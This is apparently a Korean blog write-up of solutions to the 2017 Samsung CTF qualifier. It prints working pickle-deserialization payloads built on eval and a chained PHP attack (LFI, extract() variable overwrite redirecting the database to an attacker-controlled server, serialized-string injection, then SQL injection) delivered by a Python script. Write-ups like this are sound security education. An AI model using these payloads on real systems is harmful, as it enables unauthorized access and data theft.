Uiseong Park zairo

Write-up

2017 Samsung CTF Quals

2017 Samsung CTF 예선 Write-up

Attack - Mic Check (1 pts.)

Overview

Analysis

문제 내용에 flag가 포함되어 있고 이를 form에 입력한 후 SUBMIT 버튼을 누르면 문제가 해결된다.

Flag: SCTF{Welcome_to_SCTF2017_haha}


Attack - Readflag (100 pts.)

Overview

Analysis

해당 문제에서 주어진 파일을 다운로드 받으면 dump.pysend.sh 파일이 존재한다. dump.py 소스코드를 분석해보면 [1,2,3] 배열을 python pickle 모듈을 사용하여 dump한 후 출력하는 내용이다. send.sh는 출력한 내용을 서버로 전송하는 스크립트이다.

Pickle 모듈을 이용하여 dump한 후 서버로 전송하게 되면 서버에서 해당 값을 다시 load 하여 사용한다. 따라서 해당 과정에서 발생할 수 있는 취약점을 이용하여 해당 로직을 우회하고 해커가 원하는 행위를 하도록 하여야 한다. https://blog.nelhage.com/2011/03/exploiting-pickle/에서 pythonpickle 모듈 취약점을 확인할 수 있었다. 처음엔 PoC와 같이 os.system으로 임의의 명령을 실행하려 했지만 system call이 실행되지 않는다는 메시지가 반환되어 다른 방법으로 접근하였다. 먼저 eval 함수가 실행되는지 확인해 보았다.

import pickle 

class payload(object): 
    def __reduce__(self): 
        return (eval, ()) 

print pickle.dumps(payload())+'#'

위의 소스코드과 같이 a.py를 작성하고 실행결과 전송 후 반환된 에러메세지와 같이 실행 결과를 서버로 전송하게 되면 서버로부터 에러메세지가 반환된다. 해당 에러메세지를 통해 실행파일의 이름이 test.py임을 알 수 있다.

import pickle 

class payload(object): 
    def __reduce__(self): 
        return (eval, ('open("test.py").read()',)) 

print pickle.dumps(payload())+'#'

a.py 소스코드 실행결과를 서버로 전송하면 서버에서 test.py의 내용을 읽어 출력한 결과를 사용자에게 반환한다. 반환 결과를 살펴보면 a.py 실행결과 전송 후 flag 획득 화면와 같이 test.py 소스코드 내부의 flag를 확인할 수 있다.

Flag: SCTF{3a5y_e4zy_p1ckl1ng}


Attack – Letter To Me (300 pts.)

Overview

Analysis

메인 페이지의 메뉴 링크를 몇 가지 살펴보면 page 파라미터로 전송된 값이 페이지 내부에 include 됨을 알 수 있고 LFI 취약점을 유추할 수 있다. 이후 php://filter/convert.base64-encode/resource= Wrapper를 이용하여 해당 페이지 내부에 존재하는 php 파일의 소스코드를 가져올 수 있다.

<?php 
    require "conn.php"; 
    @extract($_GET); 
    @extract($_POST);

메인페이지 기능(index.php) 소스코드 15~18행을 살펴보면 conn.php를 페이지 내부에 포함한 후에 extract 함수를 이용하여 $_GET, $_POST 배열의 key 값을 변수로 변환하고 value를 변수의 값으로 할당한다. 따라서 extract 함수보다 먼저 선언된 conn.php에 있는 변수를 덮어씌울 수 있게 된다.

<?php 
    $servername = "mysql"; 
    $username = "dbUser"; 
    $password = "dbPassword"; 
    $db_name = "ltom"; 

    $profanity_word_replace = "*"; 
?>

데이터베이스 정보(conn.php) 소스코드 1~8행의 변수를 extract 함수를 이용하여 덮어씌울 수 있으며 $servername 변수를 이용하여 외부에 존재하는 데이터베이스를 참조하게 할 수 있다. 해당 페이지에 admin으로 로그인 하여야 하므로 해커의 MySQL 서버에 문제에서 처음 주어진 스키마 파일을 참고하여 데이터베이스를 구축한다.

users 테이블 구축과 같이 해커의 서버에 users 테이블을 미리 구축해두고 extract 함수를 이용하여 conn.php 내부에 존재하는 변수를 변조하여 해커의 서버에서 로그인 데이터베이스를 참조하도록 한다. 따라서 http://lettertome.eatpwnnosleep.com/?page=login&id=admin&pw=admin&servername=rebforpwn.com&username=zairo&password=za!ro&db_name=sctf 해당 링크로 접속하게 되면 admin 계정으로 로그인을 할 수 있다. Admin 계정으로 로그인 한 후 Admin page에서 Inviter user를 통해 일반 계정을 생성한다. 이후, 일반 계정으로 접속하여 message를 전송하거나 볼 수 있다.

<?php 
    function add()
    {
        global $DB; 
        $str = serialize($this); 
        $str = $this->filter($str); 

        $user = mysql_real_escape_string($this->user); 
        $str = mysql_real_escape_string($str); 
        $DB->execute("insert into notes values (\"${user}\", \"${str}\")"); 
    } 

    function filter($str)
    { 
        global $profanity_word_replace; 
        $filter_word = array("s**t", "f**k", "as*", "bi**h", "H**l"); 
        foreach($filter_word as $word)
        {
            $replace = str_repeat($profanity_word_replace, strlen($word)); 
            $word = preg_quote($word);
            $str = eregi_replace($word, $replace, $str); 
        } 
        return $str; 
    }

사용 함수 라이브러리 기능 (models.php) 66~88행Add 함수를 살펴보면 serialize 한 후 filter 함수를 통해 $str 변수를 수정한다. 여기에서 데이터베이스 정보(conn.php) 소스코드 1~8행profanity_word_replace로 치환한다. 하지만 profanity_word_replace 변수의 값은 해커가 변조할 수 있으므로 해당 값을 변조하여 serialize 된 값을 변조할 수 있게 된다. 즉 f**kvect를 입력하고 profanity_word_replacecd를 입력하면 cdcdcdcdvect가 되지만 문자열의 길이는 8글자를 나타내고 있으므로 vect의 길이 만큼 임의의 값을 입력할 수 있다. 이를 이용하여 serialize된 다른 변수의 값을 변조할 수 있다.

function resolve_file() 
{ 
    global $DB; 
    $id = $this->attached_file; 
    if($id) { 
        $DB->execute("select realname, path from files where id=${id}"); 
        return $DB->fetch_arr(); 
    } 
    return NULL; 
}

사용 함수 라이브러리 기능 (models.php) 90~100행에서 attached_file 변수를 이용하여 SQL Query에 포함시킨 후 실행한다. 사용 함수 라이브러리 기능 (models.php) 66~88행의 취약점을 이용하여 attached_file 변수를 조작한 후 해당 쿼리문에 SQL Injection을 하여 데이터베이스의 값을 알아낼 수 있다.

import requests 

def send_payload(query): 
    cnt = 80 
    payload = 'f**k";s:13:"attached_file";s:'+str(len(query))+':"'+query+'";}O:4:"note":3:{s:4:"user";s:9:"zairo7777";s:6:"letter";s:10:"qwqwqwqwqw' 
    tmp = (cnt * 4) - len(payload) 
    payload = 'f**k";s:13:"attached_file";s:'+str(len(query))+':"'+query+'";}O:4:"note":3:{s:4:"user";s:9:"zairo7777";s:6:"letter";s:'+str(tmp+10-1)+':"qwqwqwqwqw'+'a'*(tmp-1) 
    url = "http://lettertome.eatpwnnosleep.com/index.php?page=send&profanity_word_replace="+('a'*cnt) 
    header = { 
        "Cookie":"PHPSESSID=3beqrnjar3opfm7bikdhdgrpc5" 
    }
    data = {
        "letter":payload, 
        "file":""
    } 
    r = requests.post(url, headers=header, data=data) 
    return show() 

def show(): 
    header = { 
        "Cookie":"PHPSESSID=3beqrnjar3opfm7bikdhdgrpc5" 
    } 
    r = requests.get('http://lettertome.eatpwnnosleep.com/index.php?page=show', headers=header) 
    return r.text

def parse(data): 
    return data[data.rfind('<a href="'):data.rfind('</a>')] 

print parse(send_payload('0 union select flag,1 from LTOM_Fl3g'))

Flag: SCTF{Enj0y_y0ur_0nly_life}


Defense – Dfa (100 pts.)

Overview

Analysis

해당 문제에서는 auto.cadd_node 함수에서 사용되는 fgets_eofBOF 취약점이 존재하였다. 따라서 linebuf 배열의 size0x100에서 0x1000으로 수정 후 서버로 전송하였더니 문제가 해결되었다. 해당 풀이는 근본적인 BOF 취약점의 해결방법은 아니지만 소스코드를 수정하다가 문제가 풀려 더 이상 진행하지 않았다.

import socket 
import time 
import base64 

s = socket.socket()
host = 'dfa.eatpwnnosleep.com'
port = 9999

s.connect((host, port))
time.sleep(1)
data = s.recv(10240)
s.send('auto.c\n')

print 'auto.c'
time.sleep(1)
data = s.recv(10240)
s.send(base64.b64encode(open('auto.c','rb').read())+"\n")

print 'file' 
time.sleep(1) 
data = s.recv(10240) 
print data

Flag: SCTF{simple patch tutorial}


Reversing – Easyhaskell (200 pts.)

Overview

Analysis

해당 문제는 64비트 바이너리 파일을 다운로드 할 수 있다. 해당 바이너리를 실행하면 임의의 문자가 나오게 되는데 파일 명을 바꾸면 이 문자도 변경된다. 따라서 파일 명에 따라서 해당 파일의 반환 값이 달라지는 것을 알게 되었고 이를 이용해 bruteforce 하여 문제를 풀었다.

#-*- coding: utf-8 -*- 

import os 
import time 
import binascii 

flag = "=ze=/<fQCGSNVzfDnlk$&?N3oxQp)K/CVzpznK?NeYPx0sz5" 

char_list = "_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!?,~@#$%^*-+={}" 

key = "SCTF{D0_U_KNoW_fUnc10N4L_L4n9U4g3?" 
depth = 46 
print depth 

for ch in char_list:
    current_filename = list(set(os.listdir('./'))-set(['easyhaskell.py']))[0] 
    os.rename(current_filename, key+ch) 
    p = os.popen("./"+key+ch).read() 
    ret = p.strip()[1:-1] 
    if len(ret) and flag[:depth] == ret[:depth]: 
        print ch, ret

Easyhaskell bruteforce PoC(Proof of Concept) 코드에서 keydepth 변수를 적절히 변경하여 key를 알아갈 수 있다.

Flag: SCTF{D0_U_KNoW_fUnc10N4L_L4n9U4g3?}

Written by Uiseong Park (zairo)

이 블로그의 글은 개인적인 학습을 목적으로 작성된 내용이므로 사실과 다르거나 잘못 기재된 내용이 있을 수 있습니다. 올바르지 않은 내용이나 수정해야 할 사항이 있다면 park.uiseong@gmail.com으로 연락주시면 감사하겠습니다.